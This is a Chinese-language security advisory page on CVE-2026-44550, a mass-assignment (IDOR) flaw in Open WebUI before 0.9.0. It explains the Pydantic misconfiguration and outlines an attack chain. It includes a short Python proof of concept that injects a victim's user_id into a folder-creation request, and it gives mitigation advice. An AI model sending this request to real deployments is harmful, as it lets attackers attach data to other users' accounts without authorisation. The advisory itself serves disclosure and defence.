IPBUF安全漏洞报告
English
CVE-2026-44550 CVSS 5.0 中危

CVE-2026-44550 Open WebUI 越权创建漏洞

披露日期: 2026-05-15

漏洞信息

漏洞编号
CVE-2026-44550
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

IDOR权限绕过Open WebUI批量赋值CVE-2026-44550

漏洞概述

Open WebUI是一个自托管的人工智能平台。在0.9.0版本之前,系统存在严重的权限绕过漏洞。由于FolderForm配置允许任意字段通过Pydantic验证,攻击者可以在创建文件夹的POST请求中伪造user_id参数。该参数会覆盖服务器端原本分配的正确用户标识,导致攻击者能够将恶意数据关联到任意用户账户下,实现越权操作。官方已在0.9.0版本中修复此问题。

技术细节

该漏洞源于Pydantic模型的配置不当。Open WebUI的FolderForm使用了`ConfigDict(extra='allow')`,这意味着未在模型中显式定义的字段也会被接受并包含在`model_dump`输出中。在处理新建文件夹的`insert_new_folder`函数中,虽然代码首先尝试设置服务器端的`user_id`,但随后的表单数据展开操作会覆盖这个值。由于`FolderModel`定义了`user_id`字段,攻击者只需在请求体中包含`user_id`参数,即可将其值持久化到数据库中。这属于批量赋值漏洞的一种变体,允许低权限用户通过篡改请求参数来修改业务逻辑中的关键身份标识,从而控制其他用户的资源。

攻击链分析

STEP 1
信息收集
攻击者识别出目标使用的是Open WebUI,并确认版本低于0.9.0。
STEP 2
获取凭证
攻击者注册或获取一个低权限用户的账户凭证,以此获得合法的API访问权限。
STEP 3
构造恶意请求
攻击者分析API接口,构造一个向`/api/folders/new`发送的POST请求,在请求体中手动注入`user_id`字段,值设为目标受害者的ID。
STEP 4
执行越权操作
服务器接收请求,由于配置缺陷,恶意`user_id`覆盖了服务器原本分配的ID,导致文件夹被错误地关联到受害者账户下。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for creating a new folder target_url = "http://<target-host>/api/folders/new" # Attacker's cookies (authenticated session) cookies = { "access_token": "<attacker_token>" } # Malicious payload containing the victim's user_id # The 'user_id' field will override the server-assigned ID payload = { "name": "Malicious Folder", "user_id": "<victim_user_id>" # ID of the user to target } try: response = requests.post(target_url, json=payload, cookies=cookies) if response.status_code == 200: print("[+] Exploit successful! Folder created for victim.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

影响范围

Open WebUI < 0.9.0

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)层面添加规则,检测并拦截API请求体中包含不应存在的字段(如user_id)的请求。同时,可以在数据库层面增加触发器或约束,检查数据归属权,防止数据被越权写入。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表